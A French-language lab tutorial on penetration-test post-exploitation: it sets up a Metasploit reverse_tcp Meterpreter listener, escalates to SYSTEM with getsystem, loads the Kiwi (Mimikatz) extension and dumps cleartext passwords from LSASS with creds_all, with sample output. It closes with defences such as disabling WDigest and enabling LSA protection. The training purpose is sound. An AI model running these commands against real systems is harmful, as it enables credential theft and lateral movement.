Introduction
Dans la phase de post-exploitation d'un test d'intrusion, l'un des objectifs principaux est de collecter des identifiants pour se déplacer latéralement sur le réseau. Le Meterpreter de Metasploit est une charge utile puissante qui fournit un shell interactif sur un système compromis.
L'une des fonctionnalités les plus puissantes de Meterpreter est l'extension Kiwi, qui est un portage du célèbre outil Mimikatz. Kiwi permet aux attaquants d'extraire des mots de passe en texte clair, des hachages, des codes PIN et des tickets Kerberos directement de la mémoire de la machine cible, plus spécifiquement du processus Local Security Authority Subsystem Service (LSASS).
Dans ce laboratoire, vous apprendrez comment charger et utiliser l'extension Kiwi au sein d'une session Meterpreter pour extraire des identifiants d'une cible Windows simulée.
Obtenir une session Meterpreter avec les privilèges SYSTEM sur une cible Windows
Dans cette étape, nous allons simuler l'obtention d'un accès à une machine cible. Dans un scénario réel, vous utiliseriez un exploit pour délivrer une charge utile. Ici, nous allons configurer un écouteur (listener) en utilisant la console Metasploit Framework. Une cible simulée se connectera alors à notre écouteur, nous fournissant une session Meterpreter.
Tout d'abord, démarrez la console Metasploit. L'option -q permet de la démarrer silencieusement sans afficher la bannière.
msfconsole -q
Ensuite, nous allons configurer un écouteur pour "attraper" la connexion entrante de la cible simulée. Nous utilisons le module multi/handler pour cela.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan en utilisant exploit -j.
exploit -j
Après quelques instants, une session sera créée. Vous pouvez lister les sessions actives avec la commande sessions.
sessions
Vous devriez voir une sortie indiquant une session active, similaire à ceci :
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-TARGET\LabUser @ WIN-TARGET 127.0.0.1:4444 -> 127.0.0.1:54321 (...)
Maintenant, interagissez avec la session 1.
sessions -i 1
Votre invite changera pour meterpreter >. Pour utiliser Kiwi efficacement, nous avons besoin du plus haut niveau de privilèges, NT AUTHORITY\SYSTEM. Nous pouvons tenter d'escalader nos privilèges en utilisant la commande getsystem.
getsystem
Vous devriez voir un message ...got system. Vérifiez votre nouvelle identité en exécutant getuid.
getuid
La sortie attendue devrait être :
Server username: NT AUTHORITY\SYSTEM
Vous disposez maintenant d'une session Meterpreter avec les privilèges SYSTEM, prête pour les étapes suivantes.
Charger l'extension kiwi avec la commande load kiwi
Dans cette étape, vous allez charger l'extension Kiwi dans votre session Meterpreter. Meterpreter est modulaire, et ses extensions fournissent des fonctionnalités supplémentaires qui ne sont pas chargées par défaut afin de maintenir la taille initiale de la charge utile réduite. L'extension Kiwi contient toutes les commandes nécessaires pour effectuer des extractions d'identifiants de type Mimikatz.
Depuis votre invite meterpreter >, utilisez la commande load pour ajouter l'extension Kiwi.
load kiwi
Si la commande réussit, Meterpreter confirmera que l'extension a été chargée.
Loading extension kiwi...Success.
Avec l'extension Kiwi chargée, vous avez maintenant accès à un nouvel ensemble de commandes puissantes pour la collecte d'identifiants.
Lister les commandes kiwi disponibles avec help
Dans cette étape, vous allez vérifier que les commandes Kiwi sont disponibles. Après avoir chargé une extension dans Meterpreter, vous pouvez utiliser la commande help pour voir une liste mise à jour de toutes les commandes disponibles. C'est une bonne pratique pour confirmer que l'extension s'est chargée correctement et pour voir quelles nouvelles capacités vous avez.
Depuis l'invite meterpreter >, tapez simplement help.
help
La sortie sera une longue liste de toutes les commandes Meterpreter, regroupées par section. Faites défiler la sortie, et vous devriez trouver une nouvelle section nommée "Kiwi Commands". Cette section liste toutes les fonctions fournies par l'extension Kiwi.
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve MSV credentials (parsed)
creds_ssp Retrieve SSP credentials (parsed)
creds_tspkg Retrieve TSPKG credentials (parsed)
creds_wdigest Retrieve WDigest credentials (parsed)
dcsync Retrieve user account information via DCSync
dcsync_ntlm Retrieve user NTLM hash via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute a custom command
lsa_dump_sam Dump LSA SAM
lsa_dump_secrets Dump LSA secrets
wifi_list List wifi profiles/creds
wifi_list_shared List shared wifi profiles/creds
...
Comme vous pouvez le constater, Kiwi ajoute de nombreuses commandes puissantes pour interagir avec les mécanismes d'authentification Windows.
Extraire tous les identifiants disponibles avec la commande creds_all
Dans cette étape, vous allez exécuter la commande principale de l'extension Kiwi pour extraire tous les identifiants trouvés en mémoire. La commande creds_all est un wrapper pratique qui exécute plusieurs modules de collecte d'identifiants différents à la fois, ciblant divers paquets d'authentification tels que WDigest, Kerberos et MSV.
N'oubliez pas que cette commande nécessite des privilèges SYSTEM pour accéder à la mémoire du processus LSASS, c'est pourquoi nous avons exécuté la commande getsystem lors de la première étape.
Depuis votre invite meterpreter >, exécutez la commande creds_all.
creds_all
La commande prendra un moment pour s'exécuter car elle inspecte le processus LSASS. La sortie sera détaillée, montrant les identifiants trouvés pour différents fournisseurs. Ci-dessous un exemple de ce que vous pourriez voir.
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 NTLM WIN-TARGET LabUser (null)
0;99876 NTLM WIN-TARGET WIN-TARGET$ (null)
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
0;99876 WDigest WIN-TARGET WIN-TARGET$ (null)
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
0;99876 Kerberos WIN-TARGET WIN-TARGET$ (null)
...
Vous avez réussi à extraire les identifiants de la mémoire du système cible. L'étape suivante consiste à analyser cette sortie.
Analyser la sortie pour les mots de passe en clair
Dans cette dernière étape, vous allez analyser la sortie de la commande creds_all pour identifier les mots de passe en clair. La capacité à trouver des identifiants en clair est ce qui rend des outils comme Kiwi et Mimikatz si puissants pour le mouvement latéral.
Examinez la sortie que vous avez reçue à l'étape précédente. Les données sont organisées par paquet d'authentification :
- msv : Ce paquet gère l'authentification NTLM standard. Il fournit généralement des hachages de mots de passe, et non des mots de passe en clair, sauf si l'utilisateur s'est récemment connecté interactivement.
- wdigest : Sur les anciens systèmes Windows ou sur les systèmes où il est explicitement activé, WDigest stocke une copie chiffrée réversible du mot de passe de l'utilisateur en mémoire. Kiwi peut facilement la déchiffrer, révélant le mot de passe en clair. C'est souvent la section la plus précieuse.
- kerberos : Ce paquet gère les tickets Kerberos. Similaire à WDigest, il peut également mettre en cache les mots de passe en clair pour les utilisateurs connectés.
- ssp et tspkg : Ces paquets gèrent les identifiants pour d'autres services, comme les connexions Bureau à distance.
Dans l'exemple de sortie de l'étape précédente, vous pouvez clairement voir un mot de passe en clair pour l'utilisateur LabUser dans les sections wdigest et kerberos :
wdigest credentials
===================
...
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
...
kerberos credentials
====================
...
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
...
En examinant attentivement la sortie et en recherchant des valeurs non-(null) dans la colonne Password, vous pouvez collecter des identifiants précieux. Ces informations pourraient ensuite être utilisées pour accéder à d'autres systèmes ou services en tant que cet utilisateur.
Résumé
Dans ce laboratoire, vous avez réussi à effectuer une technique classique de post-exploitation. Vous avez commencé par obtenir une session Meterpreter avec des privilèges SYSTEM sur une cible Windows simulée. Vous avez ensuite chargé l'extension Kiwi, qui intègre la fonctionnalité de Mimikatz dans Meterpreter.
En utilisant la commande creds_all, vous avez extrait des identifiants directement de la mémoire du processus LSASS. Enfin, vous avez analysé la sortie pour extraire un mot de passe en clair pour un utilisateur connecté.
Cet exercice souligne l'importance du renforcement de la sécurité sur les points d'extrémité. Les défenses contre ce type d'attaque comprennent :
- La désactivation de l'authentification WDigest.
- L'activation de la protection LSA (RunAsPPL).
- La mise en œuvre du principe du moindre privilège pour garantir que les utilisateurs et les processus n'ont pas de droits administratifs inutiles.
Vous avez maintenant une compréhension pratique de la manière dont les attaquants peuvent exploiter l'extraction d'identifiants en mémoire pour compromettre davantage un réseau.


